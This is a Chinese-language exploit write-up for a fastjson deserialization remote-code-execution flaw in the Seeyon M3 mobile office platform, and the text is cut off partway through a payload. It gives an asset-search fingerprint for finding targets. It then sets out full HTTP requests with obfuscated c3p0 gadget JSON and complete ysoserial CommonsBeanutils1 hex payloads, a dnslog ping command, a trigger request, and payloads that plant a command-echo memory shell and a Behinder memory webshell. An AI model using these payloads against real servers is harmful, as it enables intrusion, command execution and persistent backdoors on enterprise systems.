登录 白背景
源码

致远M3 移动智能办公平台fastjson反序列化漏洞

一、漏洞简介

M3移动办公是致远互联打造的一站式智能工作平台，提供全方位的企业移动业务管理，致力于构建以人为中心的智能化移动应用场景，促进人员工作积极性和创造力，提升企业效率和效能，是为企业量身定制的移动智慧协同平台。 在致远M3 server中发现了一处fastjson反序列化漏洞，导致可以造成反序列化远程代码执行。 经过分析与研判，该漏洞利用难度低，能够造成远程命令执行

二、影响版本

  • 致远M3 移动智能办公平台

三、资产测绘

  • hunterweb.icon=="657d4895205951cbea6396701b194c30"
  • 特征

1698240642014-afd52241-0325-43d2-a1ab-44cb004c6ec1.png

四、漏洞复现

POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1666334057
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 3680

[{"userMessageId":"{\"@\u0074\u0079\u0070\u0065\":\"\u0063\u006f\u006d\u002e\u006d\u0063\u0068\u0061\u006e\u0067\u0065\u002e\u0076\u0032\u002e\u0063\u0033\u0070\u0030\u002e\u0057\u0072\u0061\u0070\u0070\u0065\u0072\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\",\"\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067\":\"\u0048\u0065\u0078\u0041\u0073\u0063\u0069\u0069\u0053\u0065\u0072\u0069\u0061\u006c\u0069\u007a\u0065\u0064\u004d\u0061\u0070:HEX;\"}|","channelId":"111","title":"111","content":"222","deviceType":"androidphone","serviceProvider":"baidu","deviceFirm":"other"}]

使用ysoserial.jar生成CB1链，执行ping dnslog命令

ysoserial.jar

java -jar ysoserial.jar  CommonsBeanutils1 "ping lxlnnyqpgr.dgrh3.cn" >1.txt

1698241817925-dee4af74-33a5-412a-9f58-db6e076d9260.png

1698241828514-c4732e7e-ca6e-4662-b55f-b02d863ba7fc.png

使用代码去除空格与换行符

public class HexDataProcessor {
    public static void main(String[] args) {
        String hexData = ""; // 这里放入你的hex数据

        // 去除空格和换行符
        hexData = hexData.replaceAll("\\s", "");

        // 打印处理后的数据
        System.out.println(hexData);
    }
}

1698241884367-f5919d62-e61b-4d46-945a-fffc69891a23.png

使用生成的cb1链hex数据替换请求中的hex位置

POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1666334057
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 3680

[{"userMessageId":"{\"@\u0074\u0079\u0070\u0065\":\"\u0063\u006f\u006d\u002e\u006d\u0063\u0068\u0061\u006e\u0067\u0065\u002e\u0076\u0032\u002e\u0063\u0033\u0070\u0030\u002e\u0057\u0072\u0061\u0070\u0070\u0065\u0072\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\",\"\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067\":\"\u0048\u0065\u0078\u0041\u0073\u0063\u0069\u0069\u0053\u0065\u0072\u0069\u0061\u006c\u0069\u007a\u0065\u0064\u004d\u0061\u0070:aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e00200007870000006accafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01001870696e67206c786c6e6e79717067722e64677268332e636e08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001d79736f73657269616c2f50776e6572323839313938373831313035343101001f4c79736f73657269616c2f50776e657232383931393837383131303534313b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002f000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000034000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000038000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e0010000001d4cafebabe00000032001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f47616467657473002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003c000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000450776e72707701007871007e000d78;\"}|","channelId":"111","title":"111","content":"222","deviceType":"androidphone","serviceProvider":"baidu","deviceFirm":"other"}]

1698241979668-b061e855-e178-43c8-b24a-68724d4ebedd.png

最后请求以下链接触发反序列化

/mobile_portal/api/systemLog/pns/loadLog/app.log

1698242023124-77b5835c-9f0a-432a-8cce-93664e24d4a6.png

1698242039295-63c8c948-bcf0-4fd9-9c97-254ec9e249c0.png

seeyon-m3-rce.py

ysoserial.jar

回显内存马

POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
Host: 192.168.31.206:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1666334057
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 3680

[{"userMessageId":"{\"@\u0074\u0079\u0070\u0065\":\"\u0063\u006f\u006d\u002e\u006d\u0063\u0068\u0061\u006e\u0067\u0065\u002e\u0076\u0032\u002e\u0063\u0033\u0070\u0030\u002e\u0057\u0072\u0061\u0070\u0070\u0065\u0072\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\",\"\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067\":\"\u0048\u0065\u0078\u0041\u0073\u0063\u0069\u0069\u0053\u0065\u0072\u0069\u0061\u006c\u0069\u007a\u0065\u0064\u004d\u0061\u0070:aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e672f537472696e673b78707372002a6a6176612e6c616e672e537472696e672443617365496e73656e736974697665436f6d70617261746f7277035c7d5c50e5ce02000078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e00200007870000014adcafebabe0000003301050a004500890a008a008b0a008a008c0a001d008d08007a0a001b008e0a008f00900a008f009107007b0a008a00920800930a002000940800950800960700970800980800580700990a001b009a08009b08007007009c0b0016009d0b0016009e08006708009f0700a00a001b00a10700a20a00a300a40800a50700a60800a70a002000a80800a909002500aa0700ab0a002500ac0800ad0a00ae00af0a002000b00800b10800b20800b30800b40800b50700b60700b70a003000b80a003000b90a00ba00bb0a002f00bc0800bd0a002f00be0a002f00bf0a002000c00800c10a001b00c20a001b00c30800c40700640a001b00c50800c60700c70800c80800c90700ca0701030700cc0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301002c4c79736f73657269616c2f7061796c6f6164732f74656d706c617465732f546f6d636174436d644563686f3b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700cd0100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0100083c636c696e69743e010001650100204c6a6176612f6c616e672f4e6f537563684669656c64457863657074696f6e3b010003636c730100114c6a6176612f6c616e672f436c6173733b010004766172350100214c6a6176612f6c616e672f4e6f537563684d6574686f64457863657074696f6e3b010004636d64730100135b4c6a6176612f6c616e672f537472696e673b010006726573756c740100025b4201000970726f636573736f720100124c6a6176612f6c616e672f4f626a6563743b010003726571010004726573700100016a01000149010001740100124c6a6176612f6c616e672f5468726561643b0100037374720100124c6a6176612f6c616e672f537472696e673b0100036f626a01000a70726f636573736f72730100104c6a6176612f7574696c2f4c6973743b0100154c6a6176612f6c616e672f457863657074696f6e3b01000169010004666c61670100015a01000567726f75700100174c6a6176612f6c616e672f54687265616447726f75703b010001660100194c6a6176612f6c616e672f7265666c6563742f4669656c643b010007746872656164730100135b4c6a6176612f6c616e672f5468726561643b01000d537461636b4d61705461626c650700ce0700cf0700d00700a60700a207009907009c0700620700c70700ca01000a536f7572636546696c65010012546f6d636174436d644563686f2e6a6176610c004600470700d00c00d100d20c00d300d40c00d500d60c00d700d80700cf0c00d900da0c00db00dc0c00dd00de010004657865630c00df00e0010004687474700100067461726765740100126a6176612f6c616e672f52756e6e61626c6501000674686973243001001e6a6176612f6c616e672f4e6f537563684669656c64457863657074696f6e0c00e100d6010006676c6f62616c01000e6a6176612f7574696c2f4c6973740c00e200e30c00db00e401000b676574526573706f6e736501000f6a6176612f6c616e672f436c6173730c00e500e60100106a6176612f6c616e672f4f626a6563740700e70c00e800e90100096765744865616465720100106a6176612f6c616e672f537472696e67010003636d640c00ea00eb0100097365745374617475730c00ec005e0100116a6176612f6c616e672f496e74656765720c004600ed0100076f732e6e616d650700ee0c00ef00f00c00f100de01000377696e010007636d642e6578650100022f630100092f62696e2f626173680100022d630100116a6176612f7574696c2f5363616e6e65720100186a6176612f6c616e672f50726f636573734275696c6465720c004600f20c00f300f40700f50c00f600f70c004600f80100025c410c00f900fa0c00fb00de0c00fc00fd0100246f72672e6170616368652e746f6d6361742e7574696c2e6275662e427974654368756e6b0c00fe00ff0c0100010101000873657442797465730c010200e6010007646f577269746501001f6a6176612f6c616e672f4e6f537563684d6574686f64457863657074696f6e0100136a6176612e6e696f2e42797465427566666572010004777261700100136a6176612f6c616e672f457863657074696f6e01002a79736f73657269616c2f7061796c6f6164732f74656d706c617465732f546f6d636174436d644563686f010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c6574010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e0100156a6176612f6c616e672f54687265616447726f75700100176a6176612f6c616e672f7265666c6563742f4669656c640100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b01000e67657454687265616447726f757001001928294c6a6176612f6c616e672f54687265616447726f75703b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b01000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000d6765745375706572636c61737301000473697a650100032829490100152849294c6a6176612f6c616e672f4f626a6563743b0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100076973456d70747901000328295a01000454595045010004284929560100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f77657243617365010016285b4c6a6176612f6c616e672f537472696e673b2956010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b010018284c6a6176612f696f2f496e70757453747265616d3b295601000c75736544656c696d69746572010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f7574696c2f5363616e6e65723b0100046e657874010008676574427974657301000428295b42010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b01000b6e6577496e7374616e636501001428294c6a6176612f6c616e672f4f626a6563743b0100116765744465636c617265644d6574686f6401003879736f73657269616c2f7061796c6f6164732f74656d706c617465732f546f6d636174436d644563686f353635393433363835303637393101003a4c79736f73657269616c2f7061796c6f6164732f74656d706c617465732f546f6d636174436d644563686f35363539343336383530363739313b002100440045000000000004000100460047000100480000002f00010001000000052ab70001b100000002004900000006000100000009004a0000000c000100000005004b010400000001004d004e000200480000003f0000000300000001b100000002004900000006000100000057004a00000020000300000001004b0104000000000001004f0050000100000001005100520002005300000004000100540001004d005500020048000000490000000400000001b10000000200490000000600010000005c004a0000002a000400000001004b0104000000000001004f005000010000000100560057000200000001005800590003005300000004000100540008005a004700010048000005d500080011000002fd033bb80002b600034c2bb600041205b600064d2c04b600072c2bb60008c00009c000094e03360415042dbea202cd2d1504323a051905c70006a702b91905b6000a3a061906120bb6000c9a000d1906120db6000c9a0006a7029b1905b60004120eb600064d2c04b600072c1905b600083a071907c1000f9a0006a702781907b600041210b600064d2c04b600072c1907b600083a071907b600041211b600064da700163a081907b60004b60013b600131211b600064d2c04b600072c1907b600083a071907b60004b600131214b600064da700103a081907b600041214b600064d2c04b600072c1907b600083a071907b600041215b600064d2c04b600072c1907b60008c00016c000163a0803360915091908b900170100a201cb19081509b9001802003a0a190ab600041219b600064d2c04b600072c190ab600083a0b190bb60004121a03bd001bb6001c190b03bd001db6001e3a0c190bb60004121f04bd001b5903122053b6001c190b04bd001d5903122153b6001ec000203a061906c601571906b600229a014f190cb60004122304bd001b5903b2002453b6001c190c04bd001d5903bb0025591100c8b7002653b6001e571227b80028b60029122ab6000c99001906bd00205903122b535904122c535905190653a7001606bd00205903122d535904122e5359051906533a0dbb002f59bb003059190db70031b60032b60033b700341235b60036b60037b600383a0e1239b8003a3a0f190fb6003b3a07190f123c06bd001b5903123d535904b20024535905b2002453b6003e190706bd001d5903190e535904bb00255903b70026535905bb002559190ebeb7002653b6001e57190cb60004123f04bd001b5903190f53b6001c190c04bd001d5903190753b6001e57a7004e3a0f1241b8003a3a101910124204bd001b5903123d53b6003e191004bd001d5903190e53b6001e3a07190cb60004123f04bd001b5903191053b6001c190c04bd001d5903190753b6001e57043b1a990006a70009840901a7fe2f1a990006a70011a700083a05a70003840401a7fd32a700044bb10008009500a000a3001200c300d100d400120213028602890040002e003902ed0043003c005702ed0043005a007a02ed0043007d02e702ed0043000002f802fb004300030049000000fe003f0000000d0002000e0009000f001300100018001100240012002e001400340015003c001600430017005a001800650019006a001a0072001b007d001c0088001d008d001e0095002000a0002300a3002100a5002200b6002400bb002500c3002700d1002a00d4002800d6002900e1002b00e6002c00ee002d00f9002e00fe002f010c0030011b0031012600320131003301360034013e003501570036017d0037018a003801b5003901f0003a0213003c021a003d0221003e0264003f0286004402890040028b00410292004202b2004302d4004502d6004702dd003002e3004902ea004c02ed004a02ef004b02f2001202f8005002fb004f02fc0051004a000000d4001500a50011005b005c000800d6000b005b005c0008021a006c005d005e000f02920042005d005e0010028b0049005f0060000f01f000e600610062000d021300c300630064000e012601b700650066000a013e019f00670066000b0157018600680066000c010f01d40069006a0009003402b6006b006c0005004302a7006d006e000600720278006f00660007010c01de00700071000802ef0003005b00720005002702d10073006a0004000202f6007400750000000902ef007600770001001302e5007800790002002402d4007a007b0003007c000000a80017ff002700050107007d07007e070009010000fc001407007ffc001a07008002fc002207008165070082125d0700820cfd002d07008301fe00cb07008107008107008152070084ff009a000f0107007d07007e0700090107007f0700800700810700830107008107008107008107008407003d0001070085fb004af90001f80006fa0005ff000600050107007d07007e0700090100004207008604ff0005000000004207008600000100870000000200887571007e0010000001d4cafebabe00000033001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f47616467657473002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d000000060001000000c7000e0000000c000100000005000f001200000002001300000002001400110000000a00010002001600100009707400084a4848504e484650707701007871007e000d78;\"}|","channelId":"111","title":"111","content":"222","deviceType":"androidphone","serviceProvider":"baidu","deviceFirm":"other"}]

1704426083264-ec271751-534c-43ab-8c3c-85db5c18f6d4.png

GET /mobile_portal/api/systemLog/pns/loadLog/app.log HTTP/1.1
Host: 192.168.31.206:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
cmd: whoami

1704426125408-22ed1f69-f9fc-4eb5-b16f-d0b8f442ce00.png

冰蝎内存马

POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 24648

[{"serviceProvider":"baidu","deviceType":"androidphone","userMessageId":"{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B7870000000027372002B6F72672E6170616368652E636F6D6D6F6E732E6265616E7574696C732E4265616E436F6D70617261746F72E3A188EA7322A4480200024C000A636F6D70617261746F7271007E00014C000870726F70657274797400124C6A6176612F6C616E672F537472696E673B78707372002A6A6176612E6C616E672E537472696E672443617365496E73656E736974697665436F6D70617261746F7277035C7D5C50E5CE02000078707400106F757470757450726F706572746965737704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00044C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000002D23CAFEBABE00000031017D010025636F6D2F666173746572786D6C2F6A61636B736F6E2F726A2F4E6574776F726B5574696C73070001010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C657407000301000C676574436C6173734E616D6501001428294C6A6176612F6C616E672F537472696E673B010004436F646501002D6F72672E6170616368652E636F6D6D6F6E732E536572766C6574526571756573745763676B4C697374656E657208000801000F676574426173653634537472696E6701000A457863657074696F6E730100136A6176612F696F2F494F457863657074696F6E07000C0100106A6176612F6C616E672F537472696E6707000E010BE4483473494141414141414141414A5658655678553178582B4C6A5077686D464D3471416F32695A78683246676C4B416F5A464555416848514F436D4B784C53504E772F6D3654417A7A6E7444784461325457323670656E654E4E3258704C534E6262574E67306F31786935703033314A393331763276376666394C30752B38394268674773542B47743978377A6E664F2F63357937337675767863754164694566777655707A4C4445545774616E45396F715647526C4A4A4D784C564D364D4A3364716E4838337170725666477A3753625A69576E74517A436F5441307350717142704A714D6E68794D3645617072644B54556D707A7743612B585573596A704142514154594F55437054646169514E36335942543031746E3442335A79716D43317A666253543133757A496F4A36355278314D634354596E644C55524A2B614D6553374F2B6931346F5970454F6E2B76357876445543427A77387672684E5955644E6464426D7430687568435379625A313643334342424B696B3354445A7142747071433256624F54636F55444C514A6C4152303465344B6E7563734254763670717245454131566B6A596C5149335A427A6E642F452F6B78725459774C724858666E6F375A3956453961747575563574774A675458586F453275586274646A4979684A6F7A6A306E4C6C744B6674787A513962526D7070494C56584C694C71575847306C597173744E4978306D5067432B6A6D326C47676E45716444707557656C494A7939352B34346B745252544E30314343397738763549745157465061764377544262627461786C4A434939616C714375417351324C43675A5675514F7173575A455A427663433661384A5445474773726D3352436A594A33486A31745371345257445272475571324D7968714B5671522F6A6D467354695964326137516C35724B6D396174535A636C75787A59384774416A343437724D376C3531784B3635365A684872597952484B62737262697448435667785A6254574B63746E732F4C57624B3178645333593063464E6B4C5767324F715430316B395142324F6244747A5070434C5156334D707530564E4A536A53524C5A2B57736B6F32726D61686353464C545732735042744346752F7A6F78473642717546706B6A7379715A4538493363766E49384F4D3458457A5A75334166536731302F2F393542434F775A7545712B65512F36634E413767627579546E45515A762B6B516436706D3341377A4B2F7A6F7733552B3144486630316D367633586D2B76634D4874593171335875534F33636F51443663624143577A4467777A6F664E7241355A5831344A66746F6D71306E414E574A415275576A346273774C4343696B5332694C572B41474C514B394345496671356F7A3371513978744767577451514672746F496B6453564E533258594247726E7A5A374374684A4141694E2B4841473576576D57674A6E574E5761326C744774336670596C47384B306C774A4462574E5754727A786C74544F3941575141616D5442444C366346464450664A316A3771783148635479573550556E524C6B6653314C567378724447496A5269693437687550546E31624D533132464